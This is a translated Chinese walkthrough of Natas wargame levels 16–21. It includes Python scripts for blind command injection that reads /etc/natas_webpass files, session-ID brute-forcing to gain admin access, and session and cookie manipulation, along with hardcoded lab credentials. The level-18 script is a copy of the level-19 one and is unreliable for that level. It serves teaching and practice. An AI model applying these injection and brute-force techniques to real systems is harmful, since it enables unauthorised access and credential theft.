
在本文中,我们将以
Natas wargame为例来处理某些WEB身份的操作。 每个级别都可以访问下一个级别的密码。 所有密码也都存储在/ etc / natas_webpass /文件中。 例如,natas5的密码存储在文件/ etc / natas_webpass / natas5中,并且对于用户natas4和natas5是只读的。
过去的部分:
第1 部分和
第2部分 。
组织信息特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:
- PWN;
- 密码学(加密);
- 网络技术(网络);
- 反向(反向工程);
- 隐写术(Stegano);
- 搜索和利用Web漏洞。
除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。
为了使您可以查找有关新文章,软件和其他信息的信息,我
在Telegram中创建了一个
频道,并创建了一个
小组来讨论 ICD领域中的
所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议,
并会回答所有人 。
提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。
16级
根据源代码判断,将过滤所有服务字符,并且不可能从两个文件中传输“胶合”,因为字符串是用引号引起来的。

使用$(cmd)之类的结构,您可以控制“ key”的输出。

这个想法是这样的:
- 如果使用grep -i“ key” file.txt构造,则key为空字符串,将显示整个文件。
- 由于文件中只有一行带有密码,因此我们可以控制其输出。
- 通过将正则表达式传递给$(cmd)构造内的grep,我们将在-i参数中输出带有密码的行(当我们猜测密码的开头时),而从dictionary.txt中将不输出任何行,或者用密码将为空字符串,并显示整个dictionary.txt文件。
import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd)

输入密码。
17级
我们根据前面的场景(从第二部分开始)使用sqlmap。



有一个密码。
18级
让我们分析一下源代码。

第一步是检查浏览器中是否设置了cookie(功能my_session_start())。

由于在任务中没有任何可控制的cookie,这意味着必须对其进行设置,也就是说,该函数将返回false,并且在根代码中,我们将转到else分支。 检查用户名和密码字段的填充。 session_id()函数接受一个介于1到640之间的随机数(这很奇怪为什么会有这样的限制),并为session_start()函数创建设置配置。


接下来,检查用户名==“ admin”。 如果我们以管理员身份登录,则会获悉此信息,并获得下一级的密码。

解决方案思路:为用户定义ID范围。 我们将编写一个暴力破解文件,该文件将转到ID在1到640范围内的页面。
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

我们获得的ID为119的密码。
19级
由于代码是相同的,所以思想是相同的。 让我们看一下cookie。

十六进制编码的字符串。 我们将解码。

它仍然只是更改代码。
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

有一个密码。
20级
在分析源代码之后,我们可以假设有2个功能值得关注。
mywrite()函数将每一行的数据作为key_value写入。 但是密钥是随机选择的,并且该值是从输入字段中传输的。

myread()函数遍历所有行并读取以空格分隔的数据(键和值)。

仅当此类文件中出现“ admin 1”行时,我们才会看到密码。 事实是,我们可以绕过应用程序逻辑并写下所需的任意行。 为此,我们必须发送格式为“ Value0_TranslationStrings_Key1_Value1等”的行。

将值写入文件后,我们重新加载页面,以便从文件中读取它。

我们拿走密码。
21级
我们提供了该网站的两个版本。 事实是,可以在同一个域的不同页面之间传输Cookie和会话。 我们研究第二个站点的源代码。 在会话中设置所有接受的参数。 与过去的水平类似,您应该将admin => 1设置。

只需添加一个值为1的新admin参数,重新加载页面并将这些cookie放在主页上即可。


我们拿走密码。
待续。 您可以通过
Telegram加入我们。